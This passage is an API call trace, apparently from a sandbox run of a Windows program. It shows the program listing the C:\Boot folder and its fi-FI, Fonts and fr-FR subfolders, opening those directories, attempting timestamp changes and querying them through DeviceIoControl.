lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84ea6d7, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0034.448] FindNextFileW (in: hFindFile=0x60e670, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84ea6d7, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0034.448] GetLastError () returned 0x12 [0034.448] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f2e0) returned 1 [0034.448] FindClose (in: hFindFile=0x60e670 | out: hFindFile=0x60e670) returned 1 [0034.448] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f368) returned 1 [0034.448] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f698) returned 1 [0034.448] FindNextFileW (in: hFindFile=0x603778, lpFindFileData=0x174f77c | out: lpFindFileData=0x174f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0034.448] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f698 [0034.448] GetFileAttributesExW (in: lpFileName="C:\\Boot\\fi-FI" (normalized: "c:\\boot\\fi-fi"), fInfoLevelId=0x0, lpFileInformation=0x174f678 | out: lpFileInformation=0x174f678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0034.448] CreateFileW (lpFileName="C:\\Boot\\fi-FI" (normalized: "c:\\boot\\fi-fi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x180 [0034.448] SetFileTime (hFile=0x180, lpCreationTime=0x0, lpLastAccessTime=0x174f6bc, lpLastWriteTime=0x174f6bc) returned 0 [0034.448] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xf89690 [0034.448] DeviceIoControl (in: hDevice=0x180, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf89690, nOutBufferSize=0x4000, lpBytesReturned=0x174f714, lpOverlapped=0x0 | out: lpOutBuffer=0xf89690, lpBytesReturned=0x174f714, lpOverlapped=0x0) returned 0 [0034.448] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf89690) returned 1 [0034.448] NtClose (Handle=0x180) returned 0x0 [0034.448] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f698) returned 1 [0034.448] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f698 [0034.448] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f368 [0034.448] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f2e0 [0034.448] FindFirstFileExW (in: lpFileName="C:\\Boot\\fi-FI\\*", fInfoLevelId=0x1, lpFindFileData=0x174f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174f4c4) returned 0x60b670 [0034.449] FindNextFileW (in: hFindFile=0x60b670, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0034.449] FindNextFileW (in: hFindFile=0x60b670, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe836d95d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0034.449] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0034.449] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0034.449] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0034.449] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0034.449] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0034.449] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf85c88 [0034.449] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7ed08 [0034.449] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0034.449] FindNextFileW (in: hFindFile=0x60b670, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe836d95d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0034.449] GetLastError () returned 0x12 [0034.449] FindFirstFileExW (in: lpFileName="C:\\Boot\\fi-FI\\*", fInfoLevelId=0x1, lpFindFileData=0x174f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174f4c4) returned 0x60e670 [0034.449] FindClose (in: hFindFile=0x60b670 | out: hFindFile=0x60b670) returned 1 [0034.449] FindNextFileW (in: hFindFile=0x60e670, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0034.449] FindNextFileW (in: hFindFile=0x60e670, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe836d95d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 1 [0034.449] FindNextFileW (in: hFindFile=0x60e670, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe836d95d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="")) returned 0 [0034.449] GetLastError () returned 0x12 [0034.449] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f2e0) returned 1 [0034.449] FindClose (in: hFindFile=0x60e670 | out: hFindFile=0x60e670) returned 1 [0034.449] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f368) returned 1 [0034.449] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f698) returned 1 [0034.449] FindNextFileW (in: hFindFile=0x603778, lpFindFileData=0x174f77c | out: lpFindFileData=0x174f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Fonts", cAlternateFileName="")) returned 1 [0034.449] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f698 [0034.449] GetFileAttributesExW (in: lpFileName="C:\\Boot\\Fonts" (normalized: "c:\\boot\\fonts"), fInfoLevelId=0x0, lpFileInformation=0x174f678 | out: lpFileInformation=0x174f678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0034.490] CreateFileW (lpFileName="C:\\Boot\\Fonts" (normalized: "c:\\boot\\fonts"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x148 [0034.490] SetFileTime (hFile=0x148, lpCreationTime=0x0, lpLastAccessTime=0x174f6bc, lpLastWriteTime=0x174f6bc) returned 0 [0034.490] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xf89690 [0034.490] DeviceIoControl (in: hDevice=0x148, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf89690, nOutBufferSize=0x4000, lpBytesReturned=0x174f714, lpOverlapped=0x0 | out: lpOutBuffer=0xf89690, lpBytesReturned=0x174f714, lpOverlapped=0x0) returned 0 [0034.490] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf89690) returned 1 [0034.490] NtClose (Handle=0x148) returned 0x0 [0034.490] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f698) returned 1 [0034.490] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f698 [0034.490] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f368 [0034.490] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f2e0 [0034.490] FindFirstFileExW (in: lpFileName="C:\\Boot\\Fonts\\*", fInfoLevelId=0x1, lpFindFileData=0x174f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174f4c4) returned 0x60b670 [0034.491] FindNextFileW (in: hFindFile=0x60b670, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0034.491] FindNextFileW (in: hFindFile=0x60b670, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x64c5ad69, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x385e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="chs_boot.ttf", cAlternateFileName="")) returned 1 [0034.491] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0034.491] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0034.491] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0034.491] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0034.491] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0034.491] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf85ca8 [0034.491] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7ec80 [0034.491] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0034.491] FindNextFileW (in: hFindFile=0x60b670, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac191e00, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac191e00, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x6505f253, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x3b27a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="cht_boot.ttf", cAlternateFileName="")) returned 1 [0034.491] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0034.491] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0034.491] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0034.491] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0034.491] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0034.491] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf85cc8 [0034.491] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7ebf8 [0034.491] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0034.491] FindNextFileW (in: hFindFile=0x60b670, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac204220, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac204220, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65274577, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x1e46e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="jpn_boot.ttf", cAlternateFileName="")) returned 1 [0034.491] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0034.491] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0034.491] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0034.491] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0034.491] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0034.491] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf85ce8 [0034.491] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7eb70 [0034.491] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0034.491] FindNextFileW (in: hFindFile=0x60b670, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac22a380, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac22a380, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x6530caef, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x242f20, dwReserved0=0x0, dwReserved1=0x0, cFileName="kor_boot.ttf", cAlternateFileName="")) returned 1 [0034.491] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0034.491] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0034.491] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0034.491] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0034.491] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0034.491] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf85d08 [0034.491] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7eae8 [0034.492] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0034.492] FindNextFileW (in: hFindFile=0x60b670, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac276640, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65332c4d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xb95c, dwReserved0=0x0, dwReserved1=0x0, cFileName="wgl4_boot.ttf", cAlternateFileName="")) returned 1 [0034.492] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0034.492] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0034.492] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0034.492] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0034.492] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f258 [0034.492] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf85d28 [0034.492] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7ea60 [0034.492] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f258) returned 1 [0034.492] FindNextFileW (in: hFindFile=0x60b670, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac276640, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65332c4d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xb95c, dwReserved0=0x0, dwReserved1=0x0, cFileName="wgl4_boot.ttf", cAlternateFileName="")) returned 0 [0034.492] GetLastError () returned 0x12 [0034.492] FindFirstFileExW (in: lpFileName="C:\\Boot\\Fonts\\*", fInfoLevelId=0x1, lpFindFileData=0x174f4c4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174f4c4) returned 0x60e670 [0034.492] FindClose (in: hFindFile=0x60b670 | out: hFindFile=0x60b670) returned 1 [0034.492] FindNextFileW (in: hFindFile=0x60e670, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac276640, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0034.492] FindNextFileW (in: hFindFile=0x60e670, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x64c5ad69, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x385e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="chs_boot.ttf", cAlternateFileName="")) returned 1 [0034.492] FindNextFileW (in: hFindFile=0x60e670, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac191e00, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac191e00, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x6505f253, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x3b27a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="cht_boot.ttf", cAlternateFileName="")) returned 1 [0034.492] FindNextFileW (in: hFindFile=0x60e670, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac204220, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac204220, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65274577, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x1e46e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="jpn_boot.ttf", cAlternateFileName="")) returned 1 [0034.492] FindNextFileW (in: hFindFile=0x60e670, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac22a380, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac22a380, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x6530caef, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x242f20, dwReserved0=0x0, dwReserved1=0x0, cFileName="kor_boot.ttf", cAlternateFileName="")) returned 1 [0034.492] FindNextFileW (in: hFindFile=0x60e670, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac276640, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65332c4d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xb95c, dwReserved0=0x0, dwReserved1=0x0, cFileName="wgl4_boot.ttf", cAlternateFileName="")) returned 1 [0034.492] FindNextFileW (in: hFindFile=0x60e670, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac276640, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65332c4d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xb95c, dwReserved0=0x0, dwReserved1=0x0, cFileName="wgl4_boot.ttf", cAlternateFileName="")) returned 0 [0034.492] GetLastError () returned 0x12 [0034.492] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f2e0) returned 1 [0034.492] FindClose (in: hFindFile=0x60e670 | out: hFindFile=0x60e670) returned 1 [0034.492] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f368) returned 1 [0034.492] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f698) returned 1 [0034.492] FindNextFileW (in: hFindFile=0x603778, lpFindFileData=0x174f77c | out: lpFindFileData=0x174f77c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0034.492] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7f698 [0034.492] GetFileAttributesExW (in: lpFileName="C:\\Boot\\fr-FR" (normalized: "c:\\boot\\fr-fr"), fInfoLevelId=0x0, lpFileInformation=0x174f678 | out: lpFileInformation=0x174f678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0034.531] CreateFileW (lpFileName="C:\\Boot\\fr-FR" (normalized: "c:\\boot\\fr-fr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x180 [0034.531] SetFileTime (hFile=0x180, lpCreationTime=0x0, lpLastAccessTime=0x174f6bc, lpLastWriteTime=0x174f6bc) returned 0 [0034.531] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xf89690 [0034.531] DeviceIoControl (in: hDevice=0x180, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf89690, nOutBufferSize=0x4000, lpBytesReturned=0x174f714, lpOverlapped=0x0 | out: lpOutBuffer=0xf89690, lpBytesReturned=0x174f714, lpOverlapped=0x0) returned 0 [0034.531] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf89690) returned 1 [0034.531] NtClose (Handle=0x180) returned 0x0 [0034.531] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7f698) returned 1 